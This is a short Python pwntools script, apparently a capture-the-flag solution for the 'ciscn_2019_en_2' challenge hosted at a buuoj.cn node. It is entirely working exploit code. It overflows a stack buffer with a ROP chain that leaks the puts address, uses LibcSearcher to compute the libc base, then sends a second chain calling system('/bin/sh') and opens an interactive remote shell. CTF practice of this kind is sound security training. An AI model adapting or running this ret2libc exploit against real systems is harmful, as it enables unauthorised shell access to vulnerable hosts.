#!/usr/bin/env python
# coding=utf-8
from pwn import *
from LibcSearcher import *

io = remote("node3.buuoj.cn", 29912)
elf = ELF("./ciscn_2019_en_2")
main = elf.symbols['main']

# Payload1: print puts@got | return to main func
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
offset = 0x58
pop_rdi_ret = 0x400c83

payload1 = cyclic(offset) \
         + p64(pop_rdi_ret) \
         + p64(puts_got) \
         + p64(puts_plt) \
         + p64(main)
io.recvuntil("choice!\n")
io.sendline("1")
io.recvuntil("encrypted\n")
io.sendline(payload1)
io.recvuntil("Ciphertext\n")
io.recvuntil("\n")
# Get puts address
puts_got_addr = u64(io.recvuntil("\n", drop=True).ljust(8, b"\x00"))
success(f"func:puts address: {puts_got_addr}")

# Get libc version: choose [1]
libc = LibcSearcher("puts", puts_got_addr)
libcbase = puts_got_addr - libc.dump("puts")
system_got_addr = libcbase + libc.dump("system")
str_bin_sh = libcbase + libc.dump("str_bin_sh")
success(f"Libc base: {libcbase}")

# Payload2: get shell
ret = 0x4006b9
payload2 = cyclic(offset) \
         + p64(ret) \
         + p64(pop_rdi_ret) \
         + p64(str_bin_sh) \
         + p64(system_got_addr)
io.sendline("1")
io.recv()
io.sendline(payload2)
io.recv()
io.interactive()
